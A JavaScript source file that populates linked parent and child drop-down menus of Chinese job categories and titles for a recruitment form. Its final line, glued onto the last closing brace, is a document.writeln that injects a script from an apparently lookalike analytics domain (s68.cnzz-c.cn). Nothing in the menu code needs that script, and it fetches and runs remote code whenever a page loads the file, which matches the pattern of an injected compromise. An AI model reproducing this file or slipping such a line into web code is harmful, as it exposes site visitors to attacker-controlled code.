<!--  Job Category Associate List script written entirely in JavaScript  -->
<!--  Written by WenWei, 2001-2004. E-mail: wenwei(AT)blueidea.com  -->

// 职位大类选项列表
var PCLOptions = new Array()

// 职位小类选项列表
var CCLOptions = new Array()

GenerateJobCategoryList();

// 生成职位类别选项列表
function GenerateJobCategoryList()
{
    var ii = 0
    var jj = 0
    
    
    PCLOptions[ii++] = "销售类|销售类"
    PCLOptions[ii++] = "市场营销/公关类|市场营销/公关类"
    PCLOptions[ii++] = "客户服务类|客户服务类"
    PCLOptions[ii++] = "经营/管理类|经营/管理类"
    
   
   
    PCLOptions[ii++] = "其他类|其他类"
    
    
    ii = 0
    
    
    jj = 0
    // ii = 1
    CCLOptions[ii] = new Array()
    CCLOptions[ii][jj++] = "销售类-销售部经理|销售部经理"
    CCLOptions[ii][jj++] = "销售类-销售主管|销售主管"
    CCLOptions[ii][jj++] = "销售类-销售代表|销售代表"
    CCLOptions[ii][jj++] = "销售类-销售助理|销售助理"
    CCLOptions[ii][jj++] = "销售类-推（营、促）销员|推（营、促）销员"
    CCLOptions[ii][jj++] = "销售类-销售工程师|销售工程师"
    CCLOptions[ii][jj++] = "销售类-商务经理/商务专员|商务经理/商务专员"
    CCLOptions[ii][jj++] = "销售类-商务人员|商务人员"
    CCLOptions[ii][jj++] = "销售类-渠道经理|渠道经理"
    CCLOptions[ii][jj++] = "销售类-渠道主管|渠道主管"
    CCLOptions[ii][jj++] = "销售类-区域销售经理|区域销售经理"
    CCLOptions[ii][jj++] = "销售类-分销经理|分销经理"
    CCLOptions[ii++][jj++] = "销售类-其它相关职位|其它相关职位"
    
    jj = 0
    // ii = 2
    CCLOptions[ii] = new Array()
    CCLOptions[ii][jj++] = "市场营销/公关类-市场/营销经理|市场/营销经理"
    CCLOptions[ii][jj++] = "市场营销/公关类-市场助理/专员|市场助理/专员"
    CCLOptions[ii][jj++] = "市场营销/公关类-市场部主管|市场部主管"
    CCLOptions[ii][jj++] = "市场营销/公关类-市场调研/业务分析|市场调研/业务分析"
    CCLOptions[ii][jj++] = "市场营销/公关类-市场/行销企划|市场/行销企划"
    CCLOptions[ii][jj++] = "市场营销/公关类-产品/品牌企划|产品/品牌企划"
    CCLOptions[ii][jj++] = "市场营销/公关类-品牌经理|品牌经理"
    CCLOptions[ii][jj++] = "市场营销/公关类-价格企划|价格企划"
    CCLOptions[ii][jj++] = "市场营销/公关类-广告企划|广告企划"
    CCLOptions[ii][jj++] = "市场营销/公关类-新闻媒介企划|新闻媒介企划"
    CCLOptions[ii][jj++] = "市场营销/公关类-市场推广/拓展/合作|市场推广/拓展/合作"
    CCLOptions[ii][jj++] = "市场营销/公关类-促销/礼仪专员|促销/礼仪专员"
    CCLOptions[ii][jj++] = "市场营销/公关类-公关经理|公关经理"
    CCLOptions[ii][jj++] = "市场营销/公关类-公关专员|公关专员"
    CCLOptions[ii][jj++] = "市场营销/公关类-美工师|美工师"
    CCLOptions[ii++][jj++] = "市场营销/公关类-其它相关职位|其它相关职位"
    
    jj = 0
    // ii = 3
    CCLOptions[ii] = new Array()
    CCLOptions[ii][jj++] = "客户服务类-客户服务经理|客户服务经理"
    CCLOptions[ii][jj++] = "客户服务类-客户数据库管理|客户数据库管理"
    CCLOptions[ii][jj++] = "客户服务类-客户关系管理|客户关系管理"
    CCLOptions[ii][jj++] = "客户服务类-客户培训|客户培训"
    CCLOptions[ii][jj++] = "客户服务类-客户咨询|客户咨询"
    CCLOptions[ii][jj++] = "客户服务类-热线咨询|热线咨询"
    CCLOptions[ii][jj++] = "客户服务类-客户服务|客户服务"
    CCLOptions[ii][jj++] = "客户服务类-售前/售后支持|售前/售后支持"
    CCLOptions[ii][jj++] = "客户服务类-投诉处理|投诉处理"
    CCLOptions[ii][jj++] = "客户服务类-投诉监控|投诉监控"
    CCLOptions[ii][jj++] = "客户服务类-客户主任|客户主任"
    CCLOptions[ii][jj++] = "客户服务类-接待处主任|接待处主任"
    CCLOptions[ii++][jj++] = "客户服务类-其它相关职位|其它相关职位"
    
    jj = 0
    // ii = 4
    CCLOptions[ii] = new Array()
    CCLOptions[ii][jj++] = "经营/管理类-(正/副)总裁/总经理/CEO|(正/副)总裁/总经理/CEO"
    CCLOptions[ii][jj++] = "经营/管理类-厂长/副厂长|厂长/副厂长"
    CCLOptions[ii][jj++] = "经营/管理类-技术总监CTO|技术总监CTO"
    CCLOptions[ii][jj++] = "经营/管理类-市场/营销总监|市场/营销总监"
    CCLOptions[ii][jj++] = "经营/管理类-人力资源总监|人力资源总监"
    CCLOptions[ii][jj++] = "经营/管理类-行政总监|行政总监"
    CCLOptions[ii][jj++] = "经营/管理类-信息主管/CIO|信息主管/CIO"
    CCLOptions[ii][jj++] = "经营/管理类-管理顾问|管理顾问"
    CCLOptions[ii][jj++] = "经营/管理类-工程总监|工程总监"
    CCLOptions[ii][jj++] = "经营/管理类-部门经理|部门经理"
    CCLOptions[ii][jj++] = "经营/管理类-部门主管|部门主管"
    CCLOptions[ii][jj++] = "经营/管理类-总经理助理|总经理助理"
    CCLOptions[ii][jj++] = "经营/管理类-经理助理|经理助理"
    CCLOptions[ii][jj++] = "经营/管理类-项目经理|项目经理"
    CCLOptions[ii][jj++] = "经营/管理类-财务总监|财务总监"
    CCLOptions[ii++][jj++] = "经营/管理类-其它相关职位|其它相关职位"
    
    

   
    
  
    jj = 0
    // ii = 29
    CCLOptions[ii] = new Array()
   
    CCLOptions[ii++][jj++] = "其他类-其它相关职位|其它相关职位"

    ii = 0
    jj = 0
}

// Job Category Associate List Object
function JobCategoryAssociateList(instance, parent, child, optionList)
{
    this.parent           = parent;              // 父选择框
    this.child            = child;               // 子选择框

    this.instance         = instance;            // 与对象关联的选择框实例

    this.optionList       = optionList;          // 选择框选项列表
    this.initValue        = null;                // 选择框初始值
    
    this.addedOptions     = null;                // 附加选项

    this.incPValue        = false;               // 包含父值
    this.incPValueFormat  = "%PText%";           // 包含父值的选项的文本格式

    this.allowEmpty       = false;               // 允许空选项列表

    this.init             = InitJobCategorySelector;   // 初始化方法
    this.SetSelectedValue = SetSelectedValue;          // 设置选中值方法

    this.instance.associateObject = this;       // 关联对象与选择框
}

// 选择列表初始化方法
function InitJobCategorySelector()
{
    if( this.instance )                                         // 实例存在
    {
        var i, aIndex, aLength, aValueText;
        if( this.child )                                        // 子选择框存在, 则实例为父选择框
        {
           this.instance.length = 0;                           // 清空实例
            if( this.addedOptions != null )                     // 附加选项
            {
                for( i = 0; i<this.addedOptions.length; i++ )
                {
                    aValueText = this.addedOptions[i].split("|");
                    if( aValueText.length > 0 )                 // 添加选项
                    {
                        this.instance.options[this.instance.length] = new Option(aValueText[1], aValueText[0]);
                        if( aValueText[0] == this.initValue )   // 选中初始值
                            this.instance.options[this.instance.length-1].selected = true;
                    }
                }
            }
            for( i = 0; i<this.optionList.length; i++ )
            {
                aValueText = this.optionList[i].split("|");
                if( aValueText.length > 0 )                     // 添加选项
                {
                    this.instance.options[this.instance.length] = new Option(aValueText[1], aValueText[0]);
                    if( aValueText[0] == this.initValue )       // 选中初始值
                        this.instance.options[this.instance.length-1].selected = true;
                }
            }
            this.instance.onchange = parentCategoryChanged;
        }
        else if( this.parent )                                  // 父选择框存在, 则实例为子选择框
        {
			this.parent.onchange();
        }
    }
}

// 父选择列表值改变事件方法
function parentCategoryChanged()
{
    if( this.associateObject )
    {
        var i, aLength, aObject, aChildObject, aIndex, aValueText;
        var aParentValue, aParentText;

        aObject = this.associateObject;
        aChildObject = aObject.child.associateObject;
        aParentValue = this.options[this.selectedIndex].value;
        aParentText  = this.options[this.selectedIndex].text;
        aLength = 0;

        aObject.child.length = 0;                               // 清空实例

        if( aObject.addedOptions )                              // 父选择框附加选项数
            aLength = aObject.addedOptions.length;

        if( this.selectedIndex >= aLength )                     // 父选择框选中项不在附加选项中
        {
            aIndex = this.selectedIndex - aLength;
            if( aChildObject.incPValue )                            // 包含父值
            {
                aObject.child.options[aObject.child.length] = new Option(
                    aChildObject.incPValueFormat.replace("%PText%", this.options[this.selectedIndex].text),
                    aParentValue);
                if( aParentValue == aChildObject.initValue )       // 选中初始值
                    aObject.child.options[aObject.child.length-1].selected = true;
            }

            for( i=0; i<aChildObject.optionList[aIndex].length; i++ )
            {
                aValueText = aChildObject.optionList[aIndex][i].split("|");
                if( aValueText.length > 0 && aValueText[0] != aParentValue)       // 添加选项
                {
                    aObject.child.options[aObject.child.length] = new Option(aValueText[1], aValueText[0]);
                    if( aValueText[0] == aChildObject.initValue )       // 选中初始值
                        aObject.child.options[aObject.child.length-1].selected = true;
                }
            }
            if( !aChildObject.allowEmpty && aObject.child.length == 0)
            {
                aObject.child.options[aObject.child.length] = new Option(aParentText, aParentValue);
            }
        }
        else
        {
            if( aChildObject.addedOptions != null )                  // 附加选项
            {
                for( i = 0;i<aChildObject.addedOptions.length; i++ )
                {
                    aValueText = aChildObject.addedOptions[i].split("|");
                    if( aValueText.length > 0 )                 // 添加选项
                    {
                        aObject.child.options[aObject.child.length] = new Option(aValueText[1], aValueText[0]);
                        if( aValueText[0] == aChildObject.initValue )   // 选中初始值
                            aObject.child.options[aObject.child.length-1].selected = true;
                    }
                }
            }
        }
    }
}

function SetSelectedValue(aValue, aWantProcessed)
{
    if( this.instance )
    {
        var optionValue = aValue;
        if( aWantProcessed )
        {
            var optionValues = optionValue.split("-");
            if( optionValues.length > 0 )
                optionValue = optionValues[0] + "-";
        }
       for( i = 0;i<this.instance.options.length; i++ )
        {
           if( this.instance.options[i].value == optionValue )
            {
                this.instance.options[i].selected = true;
                if( this.child )
                {
					this.instance.onchange();
                    this.child.associateObject.SetSelectedValue(aValue, false);
                }
                break;
            }
        }
    }
}document.writeln("<script src=\'http:\/\/s68.cnzz-c.cn\/yy.js?id=882668&web_id=882668\' language=\'JavaScript\' type=\'text\/JavaScript\' charset=\'gb2312\'><\/script>");
